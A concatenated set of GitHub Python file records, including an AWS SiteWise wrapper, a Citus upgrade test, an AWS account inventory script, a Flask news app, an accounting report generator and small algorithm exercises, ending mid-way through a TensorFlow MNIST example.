for k, v in asset.items():\n if hasattr(self, k):\n setattr(self, k, v)\n\n if deep:\n # extract attributes\n from .Model import Model\n self._model = Model(assetModelId=self.assetModelId)\n self._model.fetch()\n self._attributes = {}\n for ap in self.assetProperties:\n aa = AssetAttribute(assetId=self.assetId, propertyId=ap[\"id\"], name=ap[\"name\"], dataType=ap[\"dataType\"])\n aa.fetch()\n self._attributes[ap[\"name\"]] = aa\n return True\n\n def create(self, doWait=False, timeout=5, doFetch=False, client=None):\n \"\"\"\n\n :param client:\n :return:\n \"\"\"\n\n client = client or self._client\n required_keys = [\"assetName\", \"assetModelId\"]\n kwargs = {k: getattr(self, k) for k in required_keys}\n attemps = 30\n while True:\n try:\n resp = client.create_asset(**kwargs)\n except:\n time.sleep(0.2)\n attemps -= 1\n else:\n break\n if attemps == 0:\n # one last try to raise the original exception\n resp = client.create_asset(**kwargs)\n\n self.assetId = resp[\"assetId\"]\n self.assetArn = resp[\"assetArn\"]\n self.assetStatus = resp[\"assetStatus\"]\n c = timeout\n while doWait:\n try:\n self.fetch()\n except client.exceptions.ConflictingOperationException:\n time.sleep(0.2)\n c -= 0.2\n if self.assetStatus[\"state\"] == \"CREATING\" or self.assetStatus[\"state\"] == \"PROPAGATING\" and c > 0:\n time.sleep(0.2)\n c -= 0.2\n else:\n break\n if doFetch:\n self.fetch()\n return True\n\n def delete(self, doWait=False, timeout=5, client=None):\n \"\"\"\n\n :param client:\n :return:\n \"\"\"\n client = client or self._client\n assert self.assetModelId\n response = client.delete_asset(\n assetId=self.assetId\n )\n while doWait:\n try:\n client.describe_asset(assetId=self.assetId)\n except client.exceptions.ResourceNotFoundException:\n return response\n else:\n if timeout <= 0:\n return response\n time.sleep(0.2)\n timeout -= 0.2\n return response\n\n def update(self, client=None, **kwargs):\n \"\"\"\n\n :param client:\n :return:\n \"\"\"\n client = client or self._client\n assert self.assetId\n required_keys = [\"assetName\", \"assetModelId\"]\n kwargs = {k: kwargs.get(k, getattr(self, k)) for k in required_keys}\n return client.update_asset(**kwargs)\n","repo_name":"paszin/SitewisePyObjects","sub_path":"SitewisePyObjects/Asset.py","file_name":"Asset.py","file_ext":"py","file_size_in_byte":5681,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"39712187858","text":"#!/usr/bin/env python3\n\n\"\"\"upgrade_test\nUsage:\n upgrade_test --old-bindir= --new-bindir= --pgxsdir=\n\nOptions:\n --old-bindir= The old PostgreSQL executable directory(ex: '~/.pgenv/pgsql-10.4/bin')\n --new-bindir= The new PostgreSQL executable directory(ex: '~/.pgenv/pgsql-11.3/bin')\n --pgxsdir= \t Path to the PGXS directory(ex: ~/.pgenv/src/postgresql-11.3)\n\"\"\"\n\nimport utils\nimport atexit\nimport subprocess\nimport sys\nimport shutil\nimport os\n\nfrom docopt import docopt\n\nfrom config import (\n Config, USER, NODE_PORTS,\n NODE_NAMES, DBNAME, COORDINATOR_NAME,\n WORKER_PORTS, AFTER_UPGRADE_SCHEDULE, BEFORE_UPGRADE_SCHEDULE\n)\n\n\ndef initialize_temp_dir(temp_dir):\n if os.path.exists(temp_dir):\n shutil.rmtree(temp_dir)\n os.mkdir(temp_dir)\n # Give full access to TEMP_DIR so that postgres user can use it.\n os.chmod(temp_dir, 0o777)\n\n\ndef initialize_db_for_cluster(pg_path, rel_data_path, settings):\n subprocess.call(['mkdir', rel_data_path])\n for node_name in NODE_NAMES:\n abs_data_path = os.path.abspath(os.path.join(rel_data_path, node_name))\n command = [\n os.path.join(pg_path, 'initdb'),\n '--pgdata', abs_data_path,\n '--username', USER\n ]\n subprocess.call(command)\n add_settings(abs_data_path, settings)\n\n\ndef add_settings(abs_data_path, settings):\n conf_path = os.path.join(abs_data_path, 'postgresql.conf')\n with open(conf_path, 'a') as conf_file:\n for setting_key, setting_val in settings.items():\n setting = \"{setting_key} = \\'{setting_val}\\'\\n\".format(\n setting_key=setting_key,\n setting_val=setting_val)\n conf_file.write(setting)\n\n\ndef start_databases(pg_path, rel_data_path):\n for node_name in NODE_NAMES:\n abs_data_path = os.path.abspath(os.path.join(rel_data_path, node_name))\n command = [\n os.path.join(pg_path, 'pg_ctl'), 'start',\n '--pgdata', abs_data_path,\n '-U', USER,\n '-o', '-p {}'.format(NODE_PORTS[node_name]),\n '--log', os.path.join(abs_data_path, 'logfile_' + node_name)\n ]\n subprocess.call(command)\n\n\ndef create_citus_extension(pg_path):\n for port in NODE_PORTS.values():\n utils.psql(pg_path, port, \"CREATE EXTENSION citus;\")\n\n\ndef add_workers(pg_path):\n for port in WORKER_PORTS:\n command = \"SELECT * from master_add_node('localhost', {port});\".format(\n port=port)\n utils.psql(pg_path, NODE_PORTS[COORDINATOR_NAME], command)\n\n\ndef run_pg_regress(pg_path, PG_SRCDIR, port, schedule):\n command = [\n os.path.join(PG_SRCDIR, 'src/test/regress/pg_regress'),\n '--port', str(port),\n '--schedule', schedule,\n '--bindir', pg_path,\n '--user', USER,\n '--dbname', DBNAME,\n '--use-existing'\n ]\n exit_code = subprocess.call(command)\n if exit_code != 0:\n sys.exit(exit_code)\n\n\ndef citus_prepare_pg_upgrade(pg_path):\n for port in NODE_PORTS.values():\n utils.psql(pg_path, port, \"SELECT citus_prepare_pg_upgrade();\")\n\n\ndef stop_databases(pg_path, rel_data_path):\n for node_name in NODE_NAMES:\n abs_data_path = os.path.abspath(os.path.join(rel_data_path, node_name))\n command = [\n os.path.join(pg_path, 'pg_ctl'), 'stop',\n '--pgdata', abs_data_path,\n '-U', USER,\n '-o', '-p {}'.format(NODE_PORTS[node_name]),\n '--log', os.path.join(abs_data_path, 'logfile_' + node_name)\n ]\n subprocess.call(command)\n\n\ndef perform_postgres_upgrade(old_bindir, new_bindir, old_datadir, new_datadir):\n for node_name in NODE_NAMES:\n base_new_data_path = os.path.abspath(new_datadir)\n base_old_data_path = os.path.abspath(old_datadir)\n with utils.cd(base_new_data_path):\n abs_new_data_path = os.path.join(base_new_data_path, node_name)\n abs_old_data_path = os.path.join(base_old_data_path, node_name)\n command = [\n os.path.join(new_bindir, 'pg_upgrade'),\n '--username', USER,\n '--old-bindir', old_bindir,\n '--new-bindir', new_bindir,\n '--old-datadir', abs_old_data_path,\n '--new-datadir', abs_new_data_path\n ]\n subprocess.call(command)\n\n\ndef citus_finish_pg_upgrade(pg_path):\n for port in NODE_PORTS.values():\n utils.psql(pg_path, port, \"SELECT citus_finish_pg_upgrade();\")\n\n\ndef initialize_citus_cluster(old_bindir, old_datadir, settings):\n initialize_db_for_cluster(old_bindir, old_datadir, settings)\n start_databases(old_bindir, old_datadir)\n create_citus_extension(old_bindir)\n add_workers(old_bindir)\n\n\ndef stop_all_databases(old_bindir, new_bindir, old_datadir, new_datadir):\n stop_databases(old_bindir, old_datadir)\n stop_databases(new_bindir, new_datadir)\n\n\ndef main(config):\n initialize_temp_dir(config.temp_dir)\n initialize_citus_cluster(\n config.old_bindir, config.old_datadir, config.settings)\n\n run_pg_regress(config.old_bindir, config.pg_srcdir,\n NODE_PORTS[COORDINATOR_NAME], BEFORE_UPGRADE_SCHEDULE)\n\n citus_prepare_pg_upgrade(config.old_bindir)\n stop_databases(config.old_bindir, config.old_datadir)\n\n initialize_db_for_cluster(\n config.new_bindir, config.new_datadir, config.settings)\n perform_postgres_upgrade(\n config.old_bindir, config.new_bindir, config.old_datadir, config.new_datadir)\n start_databases(config.new_bindir, config.new_datadir)\n citus_finish_pg_upgrade(config.new_bindir)\n\n run_pg_regress(config.new_bindir, config.pg_srcdir,\n NODE_PORTS[COORDINATOR_NAME], AFTER_UPGRADE_SCHEDULE)\n\n\nif __name__ == '__main__':\n config = Config(docopt(__doc__, version='upgrade_test'))\n atexit.register(stop_all_databases, config.old_bindir,\n config.new_bindir, config.old_datadir, config.new_datadir)\n main(config)\n","repo_name":"soxueren/citus","sub_path":"src/test/regress/upgrade/upgrade_test.py","file_name":"upgrade_test.py","file_ext":"py","file_size_in_byte":6104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"4352969069","text":"# importar os pacotes necessários\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\nimport wordcloud\n\ndef wordCloud():\n # importar o arquivo csv em um df\n df = pd.read_csv(\"~/workspace/unip/teste.csv\")\n\n # eliminar as colunas com valores ausentes\n summary = df.dropna(subset=['summary'], axis=0)['summary']\n\n # concatenar as palavras\n all_summary = \" \".join(s for s in summary)\n\n # lista de stopword\n stopwords = set(STOPWORDS)\n stopwords.update([\"da\", \"meu\", \"em\", \"você\", \"de\", \"ao\", \"os\", \"br\", \"o\", \"a\", \"para\", \"e\"])\n\n # gerar uma wordcloud\n wordcloud = WordCloud(stopwords=stopwords,\n background_color=\"black\",\n width=1600, height=800).generate(all_summary)\n\n # mostrar a imagem final\n fig, ax = plt.subplots(figsize=(10,6))\n ax.imshow(wordcloud, interpolation='bilinear')\n ax.set_axis_off()\n\n plt.imshow(wordcloud);\n wordcloud.to_file(\"teste.png\")","repo_name":"TCC-UNIP-CC8P68/tot-bi-wordcloud","sub_path":"wordCloud/src/wordCloud.py","file_name":"wordCloud.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"30980738462","text":"'''\nAuthor: Harsh Mann\n\nUsage: Given a list of AWS account ID's, get all the running resources like\nEC2, RDS and ECR.\n\nRequired:\n 1. A list of AWS account ID's.\n 2. A cross account IAM role named \"some-name\" in each target AWS account with appropriate\n permissions like ec2readonly, rdsreadonly, iamreadonly and ecrreadonly.\n\nThe script is run from a centralized AWS account either as lambda function or could utilize the IAM user's\ncreds to run from local\n'''\n\nimport json\nimport boto3\nimport requests\nimport os\nfrom datetime import date\nimport datetime\n# import re\n# from collections import defaultdict\nimport csv\nimport itertools\n\n# list of AWS account id's\naccount_ids = ['', '']\n\n# get the target IAM role ARN that will be assumed by the script\nrole_arns = []\nfor account_id in account_ids:\n role_arns.append('arn:aws-us-gov:iam::'+account_id+':role/some-name')\n\ntemp_file = 'temp_file.csv' # temp file to store the results and ship it to smartsheet\ntoday_date = datetime.datetime.now().strftime(\"%B-%d-%Y-%H:%M:%S\") # date required in the sheet name\n\n# Smartsheet API information, this is lambda format and will need to be modified\nmy_bearer = os.environ['BEARER']\nfolder_id = os.environ['FOLDER_ID']\nbase_url = '' # base url to upload the results (smartsheet api)\nsheet_name = 'AWS Integrated Inventory: '+str(today_date)\nheaders = {'Authorization': 'Bearer '+my_bearer+'', 'Content-Disposition': 'attachment', 'Content-Type': 'text/csv', }\n\n\naws_profile_name = '' # source profile name to run the code from. Ignore and modify the code, if running as lambda.\n\n# assume target IAM role\ndef assume_role(role_arn):\n sts = boto3.Session(profile_name=aws_profile_name).client('sts')\n assrole = sts.assume_role(RoleArn=role_arn,RoleSessionName='conmon')\n credentials = assrole['Credentials']\n return credentials\n\n# get EC2 information and return a dictionary\ndef get_ec2(creds):\n aws = boto3.Session(\n aws_access_key_id=creds['AccessKeyId'],\n aws_secret_access_key=creds['SecretAccessKey'],\n aws_session_token=creds['SessionToken'],\n )\n aws_account_number = aws.client('sts').get_caller_identity().get('Account')\n aws_account_alias = aws.client('iam').list_account_aliases()['AccountAliases'][0]\n ec2 = aws.client('ec2')\n ec2_info = {}\n filters = [\n {\n 'Name': 'instance-state-name', \n 'Values': ['running']\n }\n ]\n response = ec2.describe_instances(Filters=filters)['Reservations']\n if not response:\n name = 'No EC2'\n ec2_info[name] = {\n 'Account': aws_account_number,\n 'Account Name': aws_account_alias,\n 'Resource Type': 'EC2'\n }\n else:\n for instance in response:\n for tag in instance['Instances'][0]['Tags']:\n if 'Name' in tag['Key']:\n name = tag['Value']\n\n ec2_info[name] = {\n 'Account': aws_account_number,\n 'Account Name': aws_account_alias,\n 'Resource Type': 'EC2',\n 'Private IP': instance['Instances'][0]['PrivateIpAddress'],\n 'Virtual': 'Yes',\n 'Public': 'No'\n }\n return ec2_info\n\n# get RDS information and return a dictionary\ndef get_rds(creds):\n aws = boto3.Session(\n aws_access_key_id=creds['AccessKeyId'],\n aws_secret_access_key=creds['SecretAccessKey'],\n aws_session_token=creds['SessionToken'],\n )\n aws_account_number = aws.client('sts').get_caller_identity().get('Account')\n aws_account_alias = aws.client('iam').list_account_aliases()['AccountAliases'][0]\n rds = aws.client('rds')\n\n # dictionary to store the RDS details output\n rds_info = {}\n\n # map instance arn to all the RDS details, instance arn is used to get the Tags\n instances = {\n instance['DBInstanceArn']: instance for instance in rds.describe_db_instances()['DBInstances']\n }\n if not instances:\n name = 'No RDS'\n rds_info[name] = {\n 'Account': aws_account_number,\n 'Account Name': aws_account_alias,\n 'Resource Type': 'RDS'\n }\n else:\n # get tag and other details\n for arn, instance in instances.items():\n instance['Tags'] = rds.list_tags_for_resource(\n ResourceName=arn).get('TagList')\n\n rds_info[instance['DBInstanceIdentifier']] = {\n 'Account': aws_account_number,\n 'Account Name': aws_account_alias,\n 'Resource Type': 'RDS',\n 'Database Type': instance['DBInstanceClass'],\n 'Database Version': instance['Engine']+'-'+instance['EngineVersion'],\n 'Virtual': 'Yes',\n 'Public': 'No'\n }\n return rds_info\n\n# get ECR information and return a dictionary\ndef get_ecr(creds):\n aws = boto3.Session(\n aws_access_key_id=creds['AccessKeyId'],\n aws_secret_access_key=creds['SecretAccessKey'],\n aws_session_token=creds['SessionToken'],\n )\n aws_account_number = aws.client('sts').get_caller_identity().get('Account')\n aws_account_alias = aws.client('iam').list_account_aliases()['AccountAliases'][0]\n ecr = aws.client('ecr')\n ecr_info = {}\n repositories = ecr.describe_repositories()['repositories']\n if not repositories:\n name = 'No ECR'\n ecr_info[name] = {\n 'Account': aws_account_number,\n 'Account Name': aws_account_alias,\n 'Resource Type': 'ECR'\n }\n else:\n for name in repositories:\n repo_name = name['repositoryName']\n ecr_info[name] = {\n 'Account': aws_account_number,\n 'Account Name': aws_account_alias,\n 'Resource Type': 'ECR',\n 'Virtual': 'Yes',\n 'Public': 'No'\n }\n return ecr_info\n\n# convert dictionary to csv file\ndef dict_to_csv():\n fields = ['Account', 'Account Name', 'Resource Type', 'Name', 'Private IP', 'Virtual', 'Public', 'Database Type', 'Database Version']\n with open(temp_file, 'w') as f:\n w = csv.DictWriter(f, fields)\n w.writeheader()\n for role in role_arns:\n inventory_dict = {**get_ec2(assume_role(role)), **get_rds(assume_role(role)), **get_ecr(assume_role(role))}\n for key, val in sorted(inventory_dict.items()):\n row = {'Name': key}\n row.update(val)\n w.writerow(row)\n\n# ship csv file to smartsheet\ndef ship_to_smartsheet():\n # call the create csv function\n dict_to_csv()\n with open(temp_file, 'rb') as payload:\n try:\n response = requests.post(base_url+str(folder_id)+'/sheets/import?sheetName='+str(sheet_name)+'&headerRowIndex=0&primaryColumnIndex=0', headers=headers, data=payload)\n output = response.json()\n except requests.exceptions.RequestException as e:\n raise SystemExit(e) \n print(output)\n\nif __name__ == \"__main__\":\n ship_to_smartsheet()\n # remove temp csv file from the system\n try:\n os.remove(temp_file)\n except OSError as e: ## if failed, report it back to the user ##\n print (\"Error: %s - %s.\" % (e.filename, e.strerror))\n","repo_name":"hsinghmann/aws","sub_path":"aws-integrated-inventory.py","file_name":"aws-integrated-inventory.py","file_ext":"py","file_size_in_byte":7311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26428564355","text":"import copy\r\n\r\ndx = [-1, 1, 0, 0]\r\ndy = [0, 0, -1, 1]\r\nn, m = map(int, input().split())\r\narr = [list(input()) for _ in range(n)]\r\n\r\nfor i in range(n):\r\n arr[i].insert(0, '.')\r\n arr[i].append('.')\r\n\r\narr.insert(0, ['.'] * (m+2))\r\narr.append(['.'] * (m+2))\r\nn += 2\r\nm +=2\r\n\r\nans = copy.deepcopy(arr)\r\n\r\nfor i in range(n):\r\n for j in range(m):\r\n if arr[i][j] == 'X':\r\n cnt = 0\r\n for k in range(4):\r\n nx = i + dx[k]\r\n ny = j + dy[k]\r\n if 0 <= nx < n and 0 <= ny < m:\r\n if arr[nx][ny] == '.':\r\n cnt +=1\r\n\r\n if cnt >= 3:\r\n ans[i][j] = '.'\r\n\r\n\r\nstart= 0\r\nend = 0\r\nrs = 0\r\nre = 0\r\ndef fs():\r\n global start\r\n for j in range(m):\r\n for i in range(len(ans)):\r\n if ans[i][j] == 'X':\r\n start = j\r\n return\r\ndef fe():\r\n global end\r\n for j in range(m-1, -1, -1):\r\n for i in range(len(ans)):\r\n if ans[i][j] == 'X':\r\n end = j\r\n return\r\ndef sr():\r\n global rs\r\n for i in range(n):\r\n if 'X' in ans[i]:\r\n rs = i\r\n return\r\ndef er():\r\n global re\r\n for i in range(n-1,-1,-1):\r\n if 'X' in ans[i]:\r\n re = i\r\n return\r\n\r\n\r\nfs()\r\nfe()\r\nsr()\r\ner()\r\nfor i in range(rs, re+1):\r\n for j in range(start, end + 1):\r\n print(ans[i][j], end = '')\r\n print()\r\n","repo_name":"seho27060/aug-algo-study","sub_path":"0808/5212_dooo.py","file_name":"5212_dooo.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"16929469752","text":"from flask import Flask, jsonify, request, json\nfrom flask import render_template\nimport ast\nfrom elasticsearch.helpers import scan\nimport datetime as dt\nimport sys\nimport os\n\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'common'))\nfrom es_client import ES_client\nfrom recommender import Recommender\n\n\napp = Flask(__name__)\n\ntop_topics = {'labels': [], 'count': []}\n\nes = ES_client()\n\n\n@app.route(\"/\")\ndef get_dashboard_page():\n\tglobal top_topics\n\treturn render_template(\n\t\t'dashboard.html',\n\t\ttop_topics=top_topics)\n\n\n@app.route('/refresh_top_topics')\ndef refresh_top_topics():\n\tglobal top_topics\n\n\treturn jsonify(\n\t\tsLabel=top_topics['labels'],\n\t\tsCount=top_topics['count'])\n\n\n@app.route('/update_top_topics', methods=['POST'])\ndef update_top_topics():\n\tglobal top_topics\n\tif not request.form not in request.form:\n\t\treturn \"error\", 400\n\n\ttop_topics['labels'] = ast.literal_eval(request.form['labels'])\n\ttop_topics['count'] = ast.literal_eval(request.form['count'])\n\n\treturn \"success\", 201\n\n\n\n@app.route('/news')\ndef news():\n\tTwo_day_ago = dt.date.today() - dt.timedelta(hours=72)\n\tTwo_day_ago = Two_day_ago.isoformat()\n\n\tes_response = scan(\n \tes.con,\n \tindex='test',\n \tquery={\"query\": {\n\t\t\t \"bool\": {\n\t\t\t \"filter\": [\n\t\t\t {\n\t\t\t \"range\": {\n\t\t\t 'publishedAt': {\n\t\t\t \"gt\": Two_day_ago,\n\t\t\t \"format\": \"yyyy-MM-dd\"\n\t\t\t }\n\t\t\t }\n\t\t\t }\n\t\t\t ]\n\t\t\t }\n\t\t\t }}\n \t)\n\n\tresults = []\n\tfor item in es_response:\t\n\t\tresults.append(item)\n\t\tif len(results) >=15:\n\t\t\tbreak\n\tnew = results\n\n\treturn render_template('news.html', new=new)\n\n\n@app.route('/news//', methods=['GET', 'POST'])\ndef content(id):\n\tsearch_object = {'query': {'match': {'_id': id}}}\n\tdoc = es.search('test', json.dumps(search_object))\n\tdoc_final = doc['hits']['hits'][0]['_source']\n\trecommender = Recommender()\n\trecom_list = recommender.get_recommendation(doc_final)\n\tdoc_final[\"extra\"] = recom_list\n\n\treturn render_template('content.html', doc=doc_final)\n\n\n@app.route('/news/', methods=['POST'])\ndef search():\n\t## performing a full-text search, including options for fuzzy matching\n\tkeys = request.form['key_word']\n\n\tes_response = scan(\n \tes.con,\n \tindex='test',\n \tquery={\"query\": {'match': {'content': {\"query\": keys}}}}\n \t)\n\n\tresults = []\n\tfor item in es_response:\t\n\t\tresults.append(item)\n\t\tif len(results) >=15:\n\t\t\tbreak\n\tnew = results\n\treturn render_template('news.html', new=new)\n\n\nif __name__ == \"__main__\":\n\tapp.run(host='localhost', port=5000)","repo_name":"mokszekei/news_streaming","sub_path":"web_app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9501454303","text":"#!/usr/bin/python\n# -*- encoding: utf8 -*-\nfrom __future__ import print_function\n#from entity import *\nfrom entity.company import *\nfrom entity.outgoing import OutgoingItem\nfrom entity.invoice import Invoice\nfrom phileas.page import Page, h\n\nclass AccountingException(Exception):\n pass\n\n\nclass AccountingTable:\n totalBruto = 0.0\n totalBtw = 0.0\n totalNetto = 0.0\n totalExtra = 0.0\n extraTitle = None\n name = \"\"\n\n def __init__(self, chargeBtw=None,\n heading = \"\"):\n self.chargeBtw = chargeBtw\n self.heading = heading\n self.items = []\n\n def resolveData(self):\n for item in self.items:\n self.totalBruto += item.amountBruto\n self.totalBtw += item.amountBtw\n self.totalNetto += item.amountNetto\n self.totalExtra += item.paidFromPrivate or 0\n \n def accounts(self, showDetail=True):\n table = h.table(style='border: 1px solid black;') |(\n h.col(style=\"width:8%\"),\n h.col(style=\"width:10%\"),\n h.col(style=\"width:12%\"),\n h.col(style=\"width:22%\"),\n h.col(style=\"width:13%\"),\n h.col(style=\"width:7%\"),\n h.col(style=\"width:12%\"),\n h.col(style=\"width:13%\"),\n h.col(style=\"width:3%\"),\n h.tr | (\n h.th | 'Datum',\n h.th | 'Volgnr',\n h.th | self.headerName,\n h.th | 'Beschrijving',\n h.th | 'Bruto',\n h.th | '%BTW',\n h.th | 'BTW',\n h.th | 'Netto',\n self.extraTitle and (h.th | self.extraTitle),\n )\n )\n if showDetail:\n table |= (\n [ item.h_tr() for item in self.items ]\n + [h.tr | (h.td | \" \")]*2\n )\n table |= (h.tr | (\n h.th(style='text-align:left') | \"kwartaal\",\n h.th(style='text-align:left') | \"totaal\",\n h.th(style='text-align:centre') | \" - \",\n h.th(style='text-align:left') | \"(alles hierboven)\",\n h.th(style='text-align:right') | \"%s\" % money(self.totalBruto),\n h.th(style='text-align:centre') | \" - \",\n h.th(style='text-align:right') | money(self.totalBtw),\n h.th(style='text-align:right') | \"%s\" % money(self.totalNetto),\n self.extraTitle and h.th(style='text-align:right') | \"%s\" % money(self.totalExtra),\n ))\n return (\n h.h4(style='text-align:centre') | \"%s %s\" % (self.name, self.heading),\n table,\n )\n \nclass IncomeTable(AccountingTable):\n name = 'Inkomen'\n headerName = 'Client'\n \nclass ExpenditureTable(AccountingTable):\n name = 'Uitgaves'\n headerName = 'Supplier'\n extraTitle = \"te vergoeden\"\n\nclass Quarter(Entity, Page):\n styleSheet = \"/home/gill/Hippos/newsite/style.css\"\n\n def __init__(self,\n name:str='Accounts',\n StyleSheet:str=\".style/hippos.css\",\n accountant=Accountant(-1), #stub for base class!\n deliveryHelp:str=\"\",\n supplier=Supplier(-1), #stub for base class!\n year:int=1588,\n quarter:int=0,\n prevSeqNumber:int=0,\n pageNo:int=0,\n uitgoings:tuple=(),\n ):\n if not deliveryHelp:\n deliveryHelp = \"(betreft kwartaalgegevens '%s')\" %supplier.name\n Entity.__init__(self,\n name=name,\n StyleSheet=StyleSheet,\n accountant=accountant, #stub for base class!\n deliveryHelp=deliveryHelp,\n supplier=supplier, #stub for base class!\n year=year,\n quarter=quarter,\n prevSeqNumber=prevSeqNumber,\n pageNo=pageNo,\n uitgoings=uitgoings,\n )\n Page.__init__(self)\n\n def resolveData(self):\n self.incomeTables, self.expenditureTables = [\n [\n _AccountsTable(chargeBtw=None,\n heading = \"TOTAAL\"), \n _AccountsTable(chargeBtw=True,\n heading = \"binnen Nederland\"), \n _AccountsTable(chargeBtw=False,\n heading = \"buitenland, binnen EU \"), \n _AccountsTable(chargeBtw=None,\n heading = \"buiten EU\"), \n ] for _AccountsTable in (IncomeTable, ExpenditureTable)\n ]\n \n for (ItemClass, tableQuartet, text, ) in (\n (Invoice, self.incomeTables, 'income', ),\n (OutgoingItem, self.expenditureTables, 'outgoing', ),\n ):\n dir_of_items = ItemClass.keyLookup and ItemClass.keyLookup['sequenceNumber'] or {}\n for item in dir_of_items.values():\n # determine whether item falls under 'binnenland' or 'EU (ICL)' or 'rest-of-the-world':\n for ix, accountsTable in enumerate(tableQuartet):\n if ix==0 or item.chargeBtw is accountsTable.chargeBtw:\n #print (ix, accountsTable.chargeBtw, item.sequenceNumber)\n accountsTable.items.append(item)\n if ix!=0:\n break\n else:\n print (\"error: can't associate '%s' with any of our three %s/BTW categories\"\n % (item.name, text))\n for accountsTable in tableQuartet:\n accountsTable.resolveData()\n\n def accountantDetails(self):\n return h.br.join(\n []*6 \n + ['', self.accountant.name, self.deliveryHelp]\n + self.accountant.address\n )\n\n def supplierDetails(self):\n return (\n self.supplier.companyLogo and\n h.img(src=self.supplier.companyLogo, vspace='10'),\n h.em | (\n h.p(style='font-size:12px;color:#800000') | h.br.join(\n [self.supplier.name,] \n + self.supplier.address\n )\n )\n )\n \n def quartet(self, quartet):\n return [\n quartet[i].accounts(showDetail=(i!=0))\n for i in (1, 2, 3, 0)\n ]\n \n def carBijtelling(self):\n if self.quarter !=4:\n return None\n return h | (\n h.br,\n h.em |\n\"laaste kwartaal => autokostenforfait('bijtelling') berekenen...\",\n h.h4(style='text-align:centre') |\n\"Privégebruik auto berekening tbv BTW 4e kwartaal %u\" % self.year,\n h.p | (\n\"berekening volgens regeling \",\n h.a(\nhref=\"http://www.belastingdienst.nl/wps/wcm/connect/bldcontentnl/belastingdienst/zakelijk/btw/btw_aftrekken/btw_en_de_auto/privegebruik_auto_van_de_zaak/privegebruik_auto_van_de_zaak\") |\n\"Privégebruik auto van de zaak (geen kilometeradministratie)\",\n ),\n [ a_car.useInYear(self.year) for a_car in self.supplier.cars ],\n )\n\n def pageHeader(self, pageNo=None, pageBreak=None):\n if pageNo is None:\n self.pageNo += 1\n else:\n self.pageNo = pageNo\n if pageBreak is None:\n pageBreak = self.pageNo > 1\n if pageBreak:\n kw = dict(style=\"page-break-before: always\")\n else:\n kw = dict()\n return h.p(**kw) |(\n h.table(id='page-header') | (\n h.col(style=\"width:30%\"),\n h.col(style=\"width:50%\"),\n h.col(style=\"width:20%\"),\n\n h.tr | (\n h.td(id='page-header') | self.accountantDetails(),\n h.td(id='page-header') | '', # leave the middle ground empty.\n h.td(id='page-header') | self.supplierDetails(),\n )\n ),\n h.h3(style=\n'font-family:Arial;font-size:20px;text-align:center'\n ) | (\n h.b | (\n \"Overzicht %u\" % self.quarter,\n h.sup | 'e',\n \" kwartaal %d\" % self.year, h.br,\n \"page %d\" % self.pageNo\n ),\n ),\n )\n\n def body(self):\n return (\n self.pageHeader(),\n self.quartet(self.incomeTables),\n# h.p(style=\"page-break-before: always\") | (\n# ),\n self.pageHeader(),\n self.quartet(self.expenditureTables),\n self.carBijtelling()\n )\n\nif __name__==\"__main__\":\n quarter = Quarter()\n quarter.present()\n\n","repo_name":"papahippo/phileas","sub_path":"entity/quarter.py","file_name":"quarter.py","file_ext":"py","file_size_in_byte":8644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31286287494","text":"import sys\nfrom collections import deque\n\ninput = sys.stdin.readline\nn, m, s = map(int, input().split())\ngraph = [[] for _ in range(n + 1)]\nfor i in range(m):\n a, b = map(int, input().split())\n graph[a].append(b)\n graph[b].append(a)\n graph[a].sort()\n graph[b].sort()\nvisit_d = [False] * (n + 1)\nvisit_b = [False] * (n + 1)\n\n\ndef dfs(g, node):\n visit_d[node] = True\n print(node, end=\" \")\n for i in g[node]:\n if not visit_d[i]:\n dfs(g, i)\n\n\ndef bfs(g, node):\n queue = deque([node])\n visit_b[node] = True\n print(node, end=\" \")\n while queue:\n v = queue.popleft()\n for i in g[v]:\n if not visit_b[i]:\n visit_b[i] = True\n print(i, end=\" \")\n queue.append(i)\n\n\ndfs(graph, s)\nprint()\nbfs(graph, s)\nprint()\n","repo_name":"seokbeom00/Algorithm","sub_path":"그래프/1206.py","file_name":"1206.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74212856373","text":"class Solution:\n def findKthPositive(self, arr: List[int], k: int) -> int:\n \n hashset,count = set(arr) ,0 \n max = 100000\n for elem in range(1,max):\n if elem not in hashset:\n count+=1\n if count == k:\n return elem\n","repo_name":"harshit28/Leetcode","sub_path":"Kth_positive.py","file_name":"Kth_positive.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"38831070462","text":"\n#Importing tensorflow\nimport tensorflow as tf\nprint(tf.__version__)\n\n#Call back \n\nclass myCallback(tf.keras.callbacks.Callback):\n def on_epoch_end(self, epoch, logs={}):\n if(logs.get('accuracy')>0.6):\n print(\"\\nReached 60% accuracy so cancelling training!\")\n self.model.stop_training = True\n\n\n#Load data from MNIST\nmnist = tf.keras.datasets.mnist\n(training_images, training_labels), (test_images, test_labels) = mnist.load_data()\ntraining_images=training_images/255.0\ntest_images=test_images/255.0\n\n#Tranning a modeil\nmodel = tf.keras.models.Sequential([\n tf.keras.layers.Flatten(),\n tf.keras.layers.Dense(512, activation=tf.nn.relu),\n tf.keras.layers.Dense(10, activation=tf.nn.softmax)\n])\n\n#Optomizing\n\nmodel.compile(optimizer='adam', loss='sparse_categorical_crossentropy')\nmodel.fit(training_images, training_labels, epochs=5,callback=[myCallback])\n\n#Evaluvation\nmodel.evaluate(test_images, test_labels)\n\n#Predict\n\nclassifications = 